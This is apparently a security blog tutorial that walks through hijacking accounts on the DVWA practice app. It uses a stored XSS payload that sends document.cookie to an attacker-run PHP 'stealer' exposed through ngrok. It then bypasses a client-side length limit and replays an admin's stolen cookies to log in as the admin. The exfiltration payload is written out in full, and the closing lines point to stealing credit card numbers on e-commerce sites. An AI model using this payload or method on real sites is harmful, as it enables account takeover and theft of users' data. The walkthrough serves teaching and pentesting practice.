Hijacking users’ accounts via Stored XSS
In this article, I’m going to demonstrate how we can impersonate to other users (even admin) using an XSS payload that takes advantage of a vulnerable web site.
Actually, we are going to steal the user’s cookies with an XSS payload, use it in order to log in as this user, and from this point, we will be able to perform any action the user is allowed to perform.
Imagine we could steal admin’s cookies, we would be able to do whatever we want, including deleting the whole web app and accessing any info that an admin can.
What we will need:
- A remote server that will receive the victim’s cookies
- A script that steals the cookies
- XSS payload which will send the request to the remote server
The first step will be to set up a remote host, in which the requests of the victims will be sent to.
I’ve used XAMPP in order to create my Apache localhost. As this is server is local, we need to make is remote, in order to be able to get requests from external resources of the internet.
To do so, I’ve used a little tool called Ngrok.
Ngrok gives you a new URL which will forwards all requests aimed to it to your localhost.
After downloading this tool, I’ve accessed it by this command:
ngrok http 80 — The protocol we are using is HTTP and my Apache is running on port 80.
This will open a new terminal and give you a new URL which is now representing your localhost.
The second step is writing a little PHP script that will get the user’s IP and User-agent, and append his cookies to a file that we control in our machine.
I’ve created a script and called it ‘stealer.php’, it looks something like this:
As you can see, in the first two lines we get the IP and User-agent of the user, then using the fopen function to open a new file in which all the data will be saved to (‘cookies.txt’), and giving it read and write permissions (“a+).
Next, we use the fwrite function in order to write the IP, User-agent and the query string we get from the user (after decoding) into our cookies.txt file.
The third step is creating the malicious XSS payload. The payload I built for this purpose is:
<script> var i=new Image(); i.src=’AttackerServer/stealer.php?NewCookies=’+document.cookie</script>
We are going to create a new image, which will be loaded every time the web page loads, and the source of this “image” will be a request extracting the cookies of the victim (document. cookie), that will be sent to our remote server.
Please note that this payload can be used for Reflected XSS vulnerabilities as well, but in this case, we are going to use it in a web app that is vulnerable to Stored XSS, in order to make our attack persistent and more devastating.
Let’s verify that everything is working before exploiting it on a vulnerable webApp.
I’ve sent a test request to my remote host — “http://fb5d68118fa2.ngrok.io/dashboard/stealer.php?mytest=this is my test”
Immediately, I could see that the request was sent successfully in the ngrok terminal.
By going to ‘cookies.txt’, we can see my IP, my UA, and the query string of my test request.
After everything is ready, the next step is to find a web page that is vulnerable to persistent XSS.
But first things first, let’s get familiar with persistent (stored) XSS.
A Persistent XSS attack is possible when a website or web application stores user input and later serves it to other users. An application is vulnerable if it does not validate user input before storing content and embedding it into HTML response pages.
Attackers use vulnerable web pages to inject malicious code and have it stored on the webserver for later use. The payload is automatically served to users who browse web pages and executed in their context.
Thus, the victims do not need to click on a malicious link to run the payload (as in the case of Non-Persistent XSS).
All they have to do is visit a vulnerable web page.
In this case, we are going to use my testing web app, which includes a DVWA container, which is a platform designed for hackers and Pentesters in order to practice their skills in multiple vectors such as XSS, SQLi, Bruteforce, etc.
First, let’s log in as a legitimate user in DVWA (smithy)
Now that we are logged in, let’s go to the persistent XSS section, and verify that we do have a parameter which is vulnerable to persistent XSS.
we can see that we have a kind of blog which contains the parameters ‘name’ and ‘message’ in which an authenticated user can write a message and publish it in the blog.
After trying to inject a script for both fields, I noticed that the ‘message’ parameter is vulnerable to persistent XSS.
PoC:
While trying to inject my XSS payload in the message parameter, I’ve noticed that the payload was “cut” in the middle, and I was not able to inject it properly.
This is because the web app has another layer of defense, a client-side defense, which limits the message input to a max of 50 chars.
Open developer tools in Chrome, inspect the message input field and you will see this limitation.
In order to bypass this limitation, modify the value to a big number (500, for instance).
OK, now that that is no limitation for the length of characters we can inject to the vulnerable parameter, let’s try it again and press “Sign Guestbook”.
As you can see, the post was submitted to the dashboard:
And this is the key part of this attack.
If I’m a legitimate user, browsing this forum, I suspect nothing.
For me, I see a legit post with a name and a message, and this is why this attack is so devastating, because under the hood, without the victim knows anything about it, a request was sent to “stealer.php” with his cookies.
Our ngrok terminal verifies that.
By going to “cookies.txt” on our remote server, we can extract the IP, UA, but most importantly, the victim’s cookies.
So this is working, now let’s see a scenario where the admin of this website login and browsing to the “infected” area.
I gave a friend admin’s credentials and asked him to log in, and go visit the infected forum section.
Immediately after he did, we got another request sent to “stealer.php”, containing his cookies.
I remind you, I’m logged in as the user “smithy”:
In order to login as the admin, I’ve replaced my cookies with his
(Developer tools -> Application -> modify your cookies to his)
After changing the cookies, and refreshing the page, we can see that now I’m logged in as admin:
Let’s sum up what we were able to do from the attacker perspective:
Of course, this may have a really big impact on the web app as now we are able to edit posts, delete posts, and have full control of the site content.
Moreover, In case you manage to steal the cookies for a user in an e-commerce web app, for example, you may be able to perform various actions such as stealing his credit card number, adding stuff to his cart, change his password, and so on.
Thanks for reading, see you at the next post!